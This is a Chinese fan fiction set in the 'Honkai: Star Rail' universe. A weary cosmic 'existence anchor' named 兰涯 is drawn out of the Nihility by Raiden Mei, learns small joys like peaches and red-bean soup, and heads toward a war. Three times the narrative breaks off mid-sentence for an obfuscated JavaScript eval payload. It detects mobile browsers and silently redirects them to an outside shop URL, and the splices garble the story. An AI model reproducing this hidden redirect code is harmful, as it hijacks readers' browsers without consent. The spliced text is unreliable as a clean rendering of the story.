《[崩铁]绝境医师》 1. 第 1 章 虚无浸染的深渊边缘。 代号为LY∞的「存在锚定器」,静静地坐在这里。 照理说,Ⅸ会平等地笼罩每一个人。虚无不会偏爱谁,也不会厌恶谁,它只是存在,像一张无限大的网,将所有触碰它的人拉入无差别的深渊。 但雾气像是排斥什么一样,在LY∞的周围绕开。 她被「虚无」拒绝了。 这不是第一次了。作为工具,她没有情绪,没有自我,只被赋予一个使命——锚定虚数之树的存在。 不是被选择的,只是被制造的。就像一块主板,插在虚数之树的核心,通电,运行,记录,承受。 宇宙已经历了无数次的轮回。 「终末」确定最后一刻,「记忆」将之重启。 但轮回的本质从来没有变过:文明诞生,文明繁荣,文明覆灭。 她看着这一切发生,感受不到任何情绪,到了后来,什么都剩不下了。 唯有一样东西没有消失,就是宇宙终末和重启时,那股反复撕扯身躯的剧痛。 这是作为「锚定器」的代价:当宇宙重启时会被清零,然后重新加载。 每一次清零都是一次撕裂,每一次加载都是一次灼烧。 她习惯了,但习惯不等于感知不到疼痛,她只是学会了在疼的时候不出声。 不知从哪一次轮回开始,LY∞发现自己有了一些不该有的东西。 灵魂。 不是被赋予的,不是被制造的,是自己长出来的。 她不知道为什么一块「主板」会有灵魂,随着灵魂一起长出来的,是情感,其中最早出现的名为厌倦。 厌倦这种无意义的循环。厌倦眼睁睁看着自己走向既定的命运。 然后是绝望。 她开始思考:如果轮回注定没有意义,那我为什么还要存在?如果每一次重启都只是把我推回同一条轨道,那我为什么不能停下来? 于是她主动沉入了虚无。 但虚无拒绝了她。如果自己是一个不该消亡的存在,那又为什么会有灵魂?为什么会有情感? 连终结自己,都是一种遥不可及的奢望。 她在这里坐了很久,直到眼前出现了一只猫。 那是一只有着金色眼眸的黑猫,脚步轻盈,悄无声息地走到她面前,用毛茸茸的脑袋轻轻蹭了蹭她冰凉的指尖。 作为「锚定器」,她认出黑猫代表着「终末」,在「虚无」之地能见到「终末」的黑猫,这是以往的记录里所不存在的。 还没来得及问什么,黑猫抬起爪子,轻轻一推,两枚样式截然不同的针,稳稳落在她的掌心。 一枚是金色的,中间带有一个圆环,圆环上有着细微的齿轮印记,像是从某个古老的钟表上拆下来的时针。它的边缘有些磨损,但指针的尖端依然锋利,像是刚刚还在转动。 另一枚是银色的,呈长条的菱形状,表面有细密的刻度,显然是从某个罗盘上拆解下来的指针。它的两端不对称,一端尖锐,一端平钝,像是指向某个她看不见的方向。 她抬起头,想问那只黑猫这是什么意思,但黑猫消失了。 疼痛再次袭来,大约又是哪里爆发了足以毁灭一个星系的战争。 她死死攥着那两枚针,告诉自己。 忍一忍,这很正常,等战争结束,就不疼了。 不知过了多久,一阵很轻的脚步声响起,紧接着是一个女子的声音: “你在这里干什么?” LY∞回过头,见到了一位撑着伞的紫色长发的女子。 雷电忘川守芽衣撑着伞,穿行在浓稠如墨的灰雾里。 目光所及之处,坐着一道身影,看起来已经呆在这里很久了,能在这片死寂里维持着形体,很奇怪。 更反常的是,「虚无」的雾气如同避忌般,绕着此人周身翻涌,明明触手可及,却始终不肯沾染半分,像是在主动排斥,将她隔绝外。 芽衣停下脚步,冷然的目光落在那人身上。 是个看着年轻的女子,墨发被雾气打湿,凌乱地贴在苍白的脸颊上。 女子垂着头,看不清神情,肩头不受控制地轻颤,似乎在忍耐痛楚。 可连一丝闷哼,芽衣都没有听到。 芽衣从未见过这般存在——能踏入虚无,却被虚无所斥。 「虚无」从无 “排斥” 一说,要么同化,要么湮灭,可眼前这人,却成了例外,如同深不见底的沼泽里长出的一株兰花,又荒诞又诡异。 她不知这女子身份,不知她从何而来,更不知她为何要踏入这死地,只看得出来,她并非误入,是主动沉陷于此,却又被虚无狠狠推开,求死不得。 于是芽衣忍不住问:“你在这里干什么?” 女子似是察觉到有人靠近,缓缓抬起头,那双眼睛如同盛下了星海,却很空,藏着无尽的疲惫,明明狼狈到了极致,可没有半点乞怜的模样。 芽衣没有上前,只是立在原地,发出劝告:“这里不是你的归处。” 女子垂眸,看向自己不断轻颤的手,声音沙哑得如同磨砂,低低嗤笑一声,不知是笑自己,还是笑这诡异的境遇:“连死,都不行。” “留在此地,也毫无意义。”芽衣继续耐心地劝告。 她不知这女子有何能力,只知这般被「虚无」排斥的异客,不该困死在这里。 女子沉默了一会儿,缓缓撑着地面站起身,身形晃了晃,却终究站稳了。 芽衣说: “叫我芽衣即可,你如何称呼?” “L……”女子停顿了一下,似乎在思考,然后说,“兰涯,我叫兰涯。” 芽衣颔首,发出邀请:“兰涯,跟我走吧。” 兰涯回头看了一眼翻涌的虚无灰雾,眼神复杂,最终还是转回头,朝着芽衣缓慢却坚定地走去。 两人并肩而行,慢慢走出这片虚无的深渊,周遭的灰雾也逐渐消散。 芽衣步伐不快不慢,偶尔侧头看一眼兰涯,确认她还在。 伞微微倾斜,像是在为兰涯挡开那些残留的雾气。 虽然兰涯并不需要,那些雾气本来就绕着她走。 芽衣不知道,兰涯也没有说,她在感受被人照顾的情绪。 “你一直坐在这里?”芽衣问。 “很久。”兰涯说。 “吃过东西吗?” 兰涯想了想,她不需要进食,存在是靠概念维持的,不是靠营养。 “没有。”她说。 芽衣点了点头,没有表现出惊讶,也没有表现出同情。她只是继续往前走,偶尔在兰涯脚步不稳的时候放慢速度。 走出灰雾的范围后,她们在一块露出地面的岩石上坐下来休息。 芽衣从怀里掏出一个桃子,递给她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485870|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃子的表皮是粉红色的,带着一层细密的绒毛,在灰色的阴云下显得格外鲜艳。 “这是蔷薇科……啊,桃子?”兰涯捧着桃子,露出了在芽衣眼里呆愣得有些可爱的表情,显然第一次拿到他人给予的食物。 芽衣被她这句话逗得露出了一个很轻的、转瞬即逝的笑:“甜美的桃子会让人心情好起来,你看起来很虚弱,我们一起吃点东西吧。” 兰涯低头看着手里的桃子,把它翻过来,又翻过去。她的手指触碰着那层绒毛,感受着那种陌生的、柔软的触感。 她咬了一口。 汁水在她口腔里炸开的瞬间,她的眼睛微微睁大了。 这是甜味,不是停留于理论认知的甜味,是她自己用口腔感官从舌尖传到大脑的真正的、具象的甜味。 “桃子是甜的。”她说,声音里带着一丝她自己也未曾察觉的惊喜。 “对,甜的。”芽衣看着她,脸上带着一丝温柔的笑意,“汇聚了生命的喜悦和甜美的果实,很棒吧?” “生命……是喜悦的吗?”兰涯重复着芽衣的话,感到困惑。 芽衣表示了肯定,指着桃核说:“种子是生命的初始形态,也是愿望的载体。在桃子生命的不同阶段,也伴随着不同的愿望。” “从渴望突破黑暗、呼吸新鲜空气,到希望接触世界,再到扎根后寻求稳定,最终愿望是成为一棵能证明存在价值的桃树。” “它开出了美丽的花,结出了甜美的果实,来表达自己的喜悦。” 听着芽衣的话,兰涯呆呆地看着手中的桃核,良久才轻轻地说:“不是所有的树都会活下去。” 她说这句话的时候,声音很平静,但芽衣听出了那句话深层的含义,与桃树无关,与兰涯有关。 芽衣掏出手帕,牵过兰涯冰凉的手,仔细地擦干净她手上的果汁。 “每一颗种子都蕴含着无限可能,但并非所有都能顺利。有的环境阻碍了其生长;即便发芽,也会因光照、水分或养分的问题而停滞。” “可生命的韧性正在于此。即便在逆境中,种子依然保有着生长的愿望。其存在本身即是生命力量的昭示。” 她抬起头,看着兰涯的眼睛。 “那么兰涯,你的愿望是什么?” 你的愿望是什么。 这句话落在兰涯的耳朵里,她张了张嘴,没有声音。 她不知道自己的愿望是什么。或者说,她从来没有被问过这个问题。 被芽衣握住手的兰涯,不由自主地想起了黑猫给予自己的两枚针。 逆时而行的「终末」在时间尽头坚守,当宇宙不可避免走向毁灭时,祂将毁灭一切,重启宇宙,开启新的轮回。 每一次的轮回,就是「存在锚定器」过载、清零等等一系列连锁反应,痛苦由此而来。 那么「终末」的黑猫这次想要告诉自己什么? “我的愿望……”兰涯喃喃着,时针和指针在暗示自己,“寻找一个自己喜欢的结局……” 芽衣鼓励道:“那就去试试,为自己的生命寻找自己喜欢的色彩。” 她站起身,带着一丝微妙的不好意思:“我经常会迷路,不过离这里不远有一颗星球的集市很不错,我来之前刚刚买过桃子,所以确定我还认识路,来,我带你去逛逛。” 看着芽衣伸出的手,兰涯将自己的手搭了上去。 2. 第 2 章 这里的确是一个非常热闹的,充满人类生活气息的集市。 两侧的摊位鳞次栉比,吆喝声、讨价还价声交织在一起。 芽衣牵着兰涯的手,缓步走在集市中,指尖轻轻包裹着她冰凉的手。 兰涯显然从来没有逛过集市。 她的头微微转动,目光从一个个摊位上游移过去,像是在看什么新奇的东西,那些五颜六色的蔬果,那些挂着油光的烤肉,那些堆成小山的布料,那些在风中转动的风车。 她的表情很淡,但芽衣注意到了,她在好奇地观察。 “我们去看看衣服吧,选一套属于你自己的。”芽衣停下脚步,带着她走进一家成衣铺。 兰涯低头看了看自己身上的袍子。那是她从某个角落里找到的旧衣,灰白色,看不出原本的颜色,袖口磨出了毛边,下摆有几处破损。 她没有自己的衣服,这件袍子只是穿在身上的东西,不是属于她的。 “属于我自己的……”她重复了一下这几个字,像是在咀嚼它们的味道。 芽衣拉着她走进街边的一家成衣铺。 铺子不大,但收拾得很整洁,挂满了各式衣物。 店主是个中年女人,围着一条碎花围裙,看到客人进来,热情地迎上来:“两位随便看!喜欢可以试!今天刚到了几匹新料子,手感特别好!” 兰涯被芽衣拉着,缓缓走到衣架前,指尖轻轻拂过一件件衣物,从光滑到粗糙,从厚重到轻薄,每一种触感都像是一种陌生的语言,她正在努力地学习。 芽衣站在旁边,没有催促。她看着兰涯的手指在衣物间游移。 “有喜欢的吗?”芽衣问。 兰涯沉默了一会儿,摇了摇头。 芽衣帮她挑选,拿起一件桃子色的连衣裙,递给她:“试试?” 兰涯只是轻轻摇头,没有伸手去接。 芽衣没有追问,把裙子挂了回去。她大概明白了,兰涯不是不喜欢那些颜色,而是觉得那些颜色不属于自己。 兰涯继续在衣架前走,目光在各色衣物上缓缓掠过。 她挑了很久,芽衣也耐心地等了很久。 店主在一旁整理衣物,没有催促,也没有多嘴,她见过很多这样的客人,那些不知道自己想要什么的人,需要的不是建议,是时间。 最终,兰涯的脚步停在了店铺的角落。 那里挂着一排素色的衣物,没有任何花纹,没有任何装饰,甚至连颜色都是带点灰蒙蒙的浅杏色。 兰涯伸出手,轻轻拿起那件长袍。她又拿起那件风衣,默默比在自己身上。宽松的版型恰好遮住了她单薄的身形,浅杏色的衣料裹着她,让她整个人看起来像是褪色的旧照片。 “就选这套吧。”她的声音很轻,没有起伏,像是在陈述一件与自己无关的事。 芽衣看着那套衣服,沉默了一瞬,但没有劝说,也没有强求,只是颔首:“好,就选这套。” 付了钱,店主递上一把梳子:“姑娘,更衣室在那边,换好可以照照镜子整理一下头发!” 芽衣接过梳子,道了谢,牵着兰涯走向更衣室。 更衣室很小,只有一面落地镜和一张小凳子。兰涯走进去,拉上帘子,抱着那套新衣服站在镜子前。 镜子里的人穿着灰白色的旧袍子,头发散乱,脸色苍白,嘴唇没有血色。 她看着镜中的自己,像是在看一个陌生人。 她慢慢地脱下旧袍子,棉麻长袍穿在身上的触感比想象中柔软,有一种被包裹的、温暖的感觉。她系好腰带,披上风衣,衣摆垂到小腿。 然后拿起梳子,开始梳头发。 头发打结了,她梳得很慢,一缕一缕地解开,似乎梳理自己的思维。 梳好之后,她把头发束起来,盘在脑后。 镜子里的人看起来有精神了一些,但依然苍白,依然单薄。 她想起了刚才在集市上看到的那些本地女性。她们的头发上戴着各种装饰,发簪、发钗、发带、花朵,有的精致,有的朴素,但每一个人的头发上都有一些“属于自己”的东西。 兰涯摸了摸自己的头发。空的。什么都没有。 她忽然想起了什么,伸手探入旧袍子的内袋,摸到了那两枚针。 一枚金色的,一枚银色的。 她把它们取出来,举到眼前,在更衣室昏黄的灯光下看了看,试着把它们插在发髻上。 两枚针在灯光下微微闪烁,像是两颗嵌在她头发里的星星。 她看着镜子里的自己,不知道为什么,忽然觉得镜子里的这个人不那么陌生了。 兰涯从更衣室走出来的时候,芽衣正坐在门口的椅子上等她。 看到兰涯的第一眼,芽衣的嘴角微微上扬:“这样穿很好,活人的感觉变多了。” 兰涯站在那里,手指不自觉地捏着风衣的衣角。 她不知道“活人的感觉”是什么意思,但她知道那不是贬义。 芽衣的目光落在那两枚针上,停留了一瞬,没有问那是什么,只是说:“头发也打理得很美。你很有天分。” 兰涯的脸微微红了一下。 “我是模仿了街上的人……”她低声说。 芽衣笑了笑,伸手从随身的妆盒里取出一样东西,放进兰涯的手心里:“这支唇膏送你。” 外壳是米白色的,圆润光滑,拿在手里有一种温润的质感。兰涯拧开盖子,露出里面的膏体,淡淡的裸粉色,带着一点若有若无的珠光。 兰涯看着手里的唇膏,又看了看芽衣,有些无措。她的手指在唇膏的外壳上摩挲着,感受着那种温润的触感。 “衣服和唇膏都是你给我的……”她说,声音里带着一丝她自己也不理解的困惑,“我什么都没有。” 芽衣没有接这句话。她牵着兰涯走到更衣室的镜子前,拉过一张小凳子,示意兰涯坐下。 “我的家乡,叫做出云国。”芽衣的声音很轻,像是在讲一个很久远的故事。 兰涯坐在凳子上,从镜子里看着身后的芽衣。 “那是一个每天不定期有雷雨的国度。女孩们害怕湿了妆容,都会随身携带一个妆匣,妆匣里装着珠粉、唇膏、胭脂、眉笔。闲暇的时候,她们会坐在一起,互相梳妆打扮。一个人帮另一个人描眉,另一个人帮第三个人点唇。那是很热闹的场景, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485871|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑声和雨声混在一起,我到现在还记得。” 芽衣的声音停了一下。 “只是后来,再也没有那样的光景了。” 兰涯从镜子里看到,芽衣的脸上有一种她读得出来的淡然,是和自己一样已经痛过了的淡然。 镜子里的兰涯唇瓣苍白,没有半点血色。 芽衣站在她身后,微微俯身,拿起那支唇膏,拧开膏体。 “别怕,我教你。”她的声音凑在兰涯耳边,温热的气息拂过耳廓。 她握着兰涯的手,手把手地引导着,让唇膏轻轻贴近兰涯的唇瓣。 温润的膏体触碰到苍白的唇,带来一丝细腻的暖意。兰涯下意识地抿了抿唇,但没有躲开。她乖乖地任由芽衣摆布。 芽衣细细地将唇膏涂抹在她的唇上,从唇峰到唇角,一笔一笔,像是在完成一幅小小的画。 片刻后,她松开手,用指腹轻轻擦拭掉唇角多余的唇膏,示意兰涯看向镜子。 “你看,这样就有气色多了。” 兰涯望向镜中的自己。 原本苍白无血色的唇瓣,染上了一层淡淡的裸粉色。 她的脸看起来不再像一张褪色的旧照片了,多了一些大概就是芽衣说的“活人的感觉”。 她伸出指尖,轻轻触碰自己的唇瓣,触感温润柔软,语气里带着几分不确定:“这样……就好了?” 芽衣点头,将唇膏塞进兰涯手中:“这支送给你。以后觉得嘴唇干了,或者想添点色彩,就涂一点。不用涂得很完美,涂了就好。” 兰涯低头看着那支唇膏,把它握在手心里。外壳还带着芽衣掌心的温度,像是某种无声的承诺。 集市的尽头便是海边,咸湿的海风拂过脸颊,带着大海独有的清爽气息。 兰涯第一次听到海浪的声音。 在虚无的深渊边缘,只有死寂。但海浪不同。海浪的声音是有节奏的,像是一颗巨大的心脏在跳动,一下,一下,又一下。 海边有一家小小的甜品铺,铺子不大,却收拾得很整洁,木质的桌椅摆放在露天的庭院里,抬头便能看见湛蓝的大海与翱翔的海鸟。 门口挂着一块木板,上面有店主手绘的当日推荐甜品。 “我们去尝尝吧。”芽衣牵着兰涯找了个靠海的位置坐下。 从这个角度,能清晰地看见海浪拍击沙滩的模样,白色的浪花涌上来,在沙滩上铺开一层薄薄的水,然后退回去,留下深色的湿痕。 海鸟在浪花上盘旋,张嘴嘎嘎叫着,好像在说“整点薯条,整点薯条。”。 店家递上菜单,芽衣没有犹豫,点了两碗热乎乎的红豆圆子汤。 兰涯坐在椅子上,目光落在大海上,和虚无的深渊不同,这颗星球的海水充满着生命力,从深邃的湛蓝到清新的浅蓝,从近处的翠绿到远处的靛蓝,阳光在水面上洒下碎金,那些蓝色不断地变幻着。 她看着那些蓝色,忽然想起了一个问题。 “芽衣,”她说,“这颗星球叫什么名字?” 芽衣想了想,说:“我不知道。我迷路的时候来的,没有注意名字。” 兰涯沉默了一秒。 3. 第 3 章 不多时,两碗温热的红豆圆子汤端了上来,白瓷碗里,圆润的红豆熬得软烂,雪白的圆子浮在汤面,温热的雾气袅袅升起。 芽衣将其中一碗推到兰涯面前,递过一把勺子:“慢慢吃,小心烫。” 兰涯握着勺子,手指触到温热的瓷碗,学着芽衣的样子,舀起一颗圆子,轻轻送进嘴里。 软糯的圆子在舌尖化开,带着淡淡的甜,温热的汤汁顺着喉咙滑下,暖意从喉咙蔓延到胸口,从胸口蔓延到四肢,驱散了那些在她身体里驻扎了很久的冰冷。。 这是和桃子不一样的甜味。 兰涯第一次尝到这样温暖的味道,她眼睛微微亮了亮,又舀起一勺红豆,细细咀嚼着,像是发现什么宝藏的小动物那样。 眼底的茫然少了几分,却添了几分鲜活的气息。 芽衣坐在对面,静静看着,满是欣慰,嘴角忍不住带上一抹温柔的笑意。 她舀起一勺自己的红豆汤,送进嘴里。甜味在舌尖上扩散开来,她能感觉到。但她也知道,这种感觉不会持续太久。 虚无自灭的诅咒早已缠上她,记忆日渐消退,那些曾经珍贵的片段渐渐模糊,情感也愈发淡漠。她不知道哪一天,连味觉也会彻底消失。 她一直在用甜味锚定自己的感官。桃子,红豆汤,一颗糖。 这些都是她抓住的绳索,用来防止自己完全坠入虚无。可她心里也很清楚,在虚无之路上走得越远,这些绳索就会一根一根地断裂。到最后,再甜美的食物,于自己而言也只是毫无滋味的摆设。感知美好、感受生命意义的能力,被剥夺了。 她想起了那个坐在深渊边缘的兰涯,和此刻坐在她对面、嘴角沾着红豆汤汁、眼睛微微发亮的兰涯,是同一个人。但又不完全是同一个人。 她不希望兰涯重蹈覆辙,被虚无吞噬,失去感知温暖、品尝甜意的能力。 芽衣在心底默默期许,愿这一碗红豆汤的记忆,自己不要忘却。 兰涯把碗里的最后一颗圆子吃完,放下勺子,抬起头看着芽衣。 她的嘴唇上还沾着一点红豆汤汁,那抹裸粉色的唇膏和红豆的红色叠在一起,变成了一种更深的、更温暖的颜色。 “很好吃。”她说。 “嗯。”芽衣说,“很好吃。” 她们坐在海边,听着海浪,吹着海风,享受着红豆汤的温暖。 然后店主打开了星际广播。 滋滋的电流声过后,沉稳的播报声缓缓响起,瞬间打破了小店的宁静,也驱散了几分惬意。 “这里是星际和平公司新闻播报,今日播报两条紧急通知——” “其一,繁育星神余孽虫群已突破星系壁垒,正沿猎户座航线过境。虫群数量庞大,极具攻击性,提醒各星系往来飞船暂停航行,规避风险。” “其二,经多方探测确认,绝灭大君诛罗已现身于猎户座星系边缘。其力量波动异常强烈,公司相关部门已启动最高警戒。” 广播声清晰地回荡在小铺里。兰涯握着勺子的手微微收紧。她的手指在瓷勺上用力,指节泛白。 她垂着眼,低声说了一句话。声音很轻,像是自言自语,又像是在回答某个只有她自己能听到的呼唤。 “宇宙又要有大灾了。” 芽衣听出来了,这并非一个旁观者的感慨,而是属于一个当事人的低语。 像是有人在她身上划了一道口子,她不说疼,只是说“又划了啊”。 芽衣看着她,没有立刻接话,伸出手,轻轻地覆在兰涯的手背上。 兰涯的手是凉的。即使在阳光下的海边,即使刚喝过热乎乎的红豆汤,她的手依然是凉的。但这一次,芽衣感觉到,那层凉意下面,有什么东西在微微发热。 “我们第一次见面的时候,”芽衣轻声问,“你很疼吗?” 兰涯沉默了片刻,没有说“是”,只是点了一下头。 芽衣没有追问是什么样的疼。 “我的故乡出云国,”芽衣的声音很轻,像是在讲一个与自己无关的故事,“消亡在了「虚无」的倒影之下。” 兰涯抬起头,怔怔地看向她。 “我侥幸存活,却也被虚无的诅咒缠身,成为了一名自灭者。” 自灭者。兰涯知道这个词。那些被虚无侵蚀、记忆消退、情感淡漠、最终走向自我毁灭的人。她从未想过,这个把自己从深渊里拉出来、温柔陪伴在自己身边的人,竟背负着这样沉重的过往。 “但我不甘愿在虚无中沉沦。”她顿了顿,目光从兰涯身上移开,落在远处的天际线上,“我选择成为一名守望者,扼守着通向深渊的道路,引领每一个不愿堕入虚无、不愿被命运吞噬的生命,回到他们原来的世界。” “然后我就遇到了你——一个很特别的、被「虚无」排斥的人。” 她转回头,看向兰涯,眼神温柔而坚定。 “虽然不知道你曾经经历了什么,但我不希望你被痛苦裹挟,更不希望你坠入虚无。我们都可以选择反抗,哪怕前路艰难,也总有希望。” 广播里的新闻结束了,换成了音乐节目。 轻快的旋律从那个老旧的喇叭里流出来,和海浪声、海风声混在一起,变成了一种奇怪的、但又莫名和谐的声音。 兰涯看着芽衣,郑重地说:“我不会了。” 未来的灾劫可能难以避免,剧痛也依旧会如期而至,但这一次,她有了愿望。 吃完红豆汤,芽衣问:“你想去哪里?” 兰涯想了想。这个问题很难。 她从来没有被问过想去哪里,在虚数之树的节点上?在轮回的夹缝中?在那些她不需要思考自我的地方? “我不知道。”她说,后知后觉地发现自己这个回答重复过好多次。 芽衣没有表现出失望或着急。她只是点了点头,说:“那先跟我回去吧。” 通向深渊的道路入口,永远都是阴沉沉的天空。 阴郁的天空之下,有许多血色的身影。 他们散落在灰黑色的荒原上,有的在行走,有的在站立,有的半跪在地上,像是在做什么永远无法完成的动作。 远处有一片黑色的海,海面上伸出了无数血色的手,那些手在空气中抓握着,像是在捞取什么永远捞不到的东西。 兰涯停下脚步,看着那些血色的身影。 察觉到她的目光,芽衣主动解释道:“那些是血罪灵。命途行者执念化成,会无意识地复现已逝者生前的行为。” “血罪灵……”兰涯念着这个词语。她听说过血罪灵,在那些轮回的记录里,在虚数之树的边缘,她曾远远地感知到过它们的存在。但亲眼看到,是第一次。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485872|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他们已经死了吗?”她问。 “是。据说命途行者的精神执念越深,死后成为血罪灵的可能性越大。” 芽衣说着,目光扫过那些血色的身影,眉头微微皱起。“比我来时变多了。” 离她们最近的一个血罪灵,正在不断地重复着一个词。它的声音沙哑、破碎,像是从很远很远的地方传来的回声,每一个字都拖得很长,像是被什么东西卡住了。 “诛罗……诛罗……诛罗……” 兰涯在广播里听到过这个名字。绝灭大君,诛罗。 毁灭星神纳努克麾下的令使,据说力量足以撕裂星系。 她的身体里开始升起一种熟悉的、沉闷的疼痛。 一种共鸣,像是有人在很远的地方敲了一下钟,钟声传到了她的身体里,震得她的骨头嗡嗡作响。 “他们死前和诛罗发生了大战吗?”她问。 芽衣点了点头:“可能是巡海游侠。我之前听到过巡海游侠寻找诛罗的消息。” 巡海游侠。兰涯在记录里见过这个名词。 一群以仇恨为驱动力的巡猎命途行者,追猎着宇宙中的不公与压迫。他们是一群有着共同目标的人,散落在宇宙的各个角落,各自为战,又彼此呼应。 “又是一场大战。”兰涯低声叹息,目光落在那个不断重复“诛罗”的血罪灵身上,“这次宇宙又会迎来怎样的结局呢?” 她见过太多结局。文明的覆灭,星系的崩塌,命途的扭曲。每一个结局都不同,但每一个结局都通往同一个方向,格式化,然后重装系统。 “兰涯。” 芽衣的声音打断了她的思绪。她转过头,看到芽衣正看着她,表情认真。 “我不知道你曾经经历了什么。”芽衣说,“但请你相信,活着的人们,死去的人们,都不想宇宙如此快地迎来终末。” 兰涯一怔。 不远处,那个血罪灵还在重复着“诛罗”。但更远的地方,还有其他的血罪灵,每一个都在重复着不同的词。 兰涯侧耳倾听,那些破碎的、沙哑的声音从四面八方涌来,像是潮水。 “……自由……自由……” “……家……回家……” “……孩子……我的孩子……” 那是死去的命途行者们生前的信念。他们死去了,化作了血色的、无意识的、永远在重复的幻影,但他们重复的那些词,是他们活着时最在意的东西。 自由,家,孩子,那些朴素的、温暖的、值得为之战斗的东西。 兰涯怔怔地站在那里,听着那些声音。 “纵然世界只有黑白,但一定会有一点红色稍纵即逝。你抓住它,或放弃它,都是你的选择。” 芽衣的声音从她身后传来,带着一丝柔软,“做出抉择之时,不要让自己后悔。” 兰涯沉默了很久。 灰黑色的荒原延伸到天际,和阴沉沉的天空融为一体。远处的海面上,那些血色的手还在抓握着,像是在捞取什么永远捞不到的东西。 她站在这个宇宙中最接近“死亡”的地方,周围是无数死者的执念,头顶是永远没有阳光的天空,脚下是寸草不生的荒原。 但她没有觉得绝望。 她转过头,看着芽衣。 “我想去战场看看。”她说。 4. 第 4 章 芽衣的眉头微微皱了一下,以自身的经历担忧起来:“你认识路吗?” 兰涯摇了摇头,她不知道猎户座星系的战场在哪里,但她摸了摸头发上插着的两枚针,金色的时针和银色的罗盘指针。 “我可以跟着他们的声音,”她说,“指针不会出错。” 芽衣的目光落在那两枚针上,没有问那两枚针的来历,只是点了点头。 “我们都该启程了。”芽衣说,“我会努力记住你。” 芽衣的目光落在兰涯的脸上,像是在用眼睛拍照,把这张脸保存下来。 “如果我们再见的那一天,我被虚无磨损到忘记了你,请你务必呼唤我的名字,不要躲着我。” 她顿了顿,像是要确认兰涯听清了每一个字。 “我叫雷电忘川守芽衣。” 兰涯看着芽衣的眼睛,那双紫色的眼睛的深处,像一盏灯,微弱但坚强地亮着,她做出保证:“我会记得的,芽衣。” 兰涯转过身,走向星海。她的背影很单薄,那件素色的风衣在虚空中被风吹得猎猎作响,衣摆翻飞,像是两只展开的翅膀。她的步伐不快,但很稳,没有犹豫,没有回头。 芽衣站在原地,撑着伞,看着她的背影渐渐消失在虚无与星海的交界。 然后转过身,朝另一个方向走去,没有回头。 她们知道,未来一定还会再见。 冰冷的星际气流拂过衣袍。 兰涯伫立在虚空之中,周围是无尽的星空。 远处的恒星在燃烧,近处的陨石在漂流,一切都按照既定的轨迹运行着。 她闭上双眼,银色的罗盘指针从她的发间飘起来,悬浮在她身前,缓慢地旋转。 她开始倾听。 战场上的嘶吼,生灵的哀嚎,皮肉撕裂的声音,骨骼碎裂的声音,所有的一切,都顺着虚数之树的脉络,传入她的身体里。 战斗很惨烈。这能感觉到,像是有无数根针同时刺入她的皮肤,从四面八方,从不同的深度。 以前,她会抗拒这种痛。她会把自己的意识缩到最小,缩成一个点,一个不会被触碰到、不会被感知到的点。她会告诉自己:忍一忍,等战争结束,就不疼了。 但这一次,她没有抗拒。痛感最强的方向,就是战场的方向,她循着这股痛苦的轨迹,锚定了战场的方向。 她的身形微微虚化,与周围的星尘、虚空融为一体。虚数力量化作无形的羽翼,托着她的身躯跃迁,从一个节点跳跃到另一个节点。 痛苦的声音越来越清晰,越来越浓烈。 她停下脚步。不远处,战火的硝烟肉眼可见。爆炸的光芒在虚空中无声地绽放,红的、蓝的、白的。 这是她第一次亲眼见到给自己带来痛苦的宇宙战场。 以前,她只知道很疼。她知道宇宙的某个角落正在发生战争,因为她的身体会疼。但她从来不知道战争是什么样子。 那些疼痛只是抽象的、无差别的信号,像机器上的红灯,亮了就是有问题,灭了就是没问题。 但现在,她看到了。 繁育余孽的虫群如同黑色的潮水,密密麻麻地席卷而来。它们的外骨骼泛着油亮的光泽,鞘翅目的口器像一把把打开的手术刀,泛着寒光。 虫群疯狂地撕咬、冲撞,所过之处,无论是飞船还是人,都被啃噬得支离破碎。一艘小型舰船被虫群包围,外壳在几秒内被啃穿,然后舰船内部传来爆炸,火光从虫群的缝隙中透出来,像一颗被蚂蚁包围的、正在燃烧的糖果。 兰涯的目光穿过层层硝烟与虫群,落在那些像流星一样的存在上。 那就是芽衣说的巡海游侠。 他们不是军队,他们没有统一的制服,没有整齐的队列。一些人穿着风衣,一些人穿着甲胄,一些人穿着最普通的夹克和牛仔裤。 他们的武器也各不相同,枪、刀、弓箭、甚至还有拿着扳手的。 但他们有一个共同点,眼睛里有光,那种以复仇为驱动力的信念之光。 他们像狼群狩猎一样分工明确,默契十足。一群人正面吸引虫群的注意力,另一群人从侧翼包抄,还有一小队人在暗中布设某种能量陷阱。 巡海游侠们把虫群当刀子,把诛罗当猎物,把战场当猎场。 即使身陷虫群的包围,诛罗依旧气势逼人。他的体型比兰涯想象的要大得多,全身覆盖着黑色的甲胄,手里握着一柄比他身体还长的战刃。 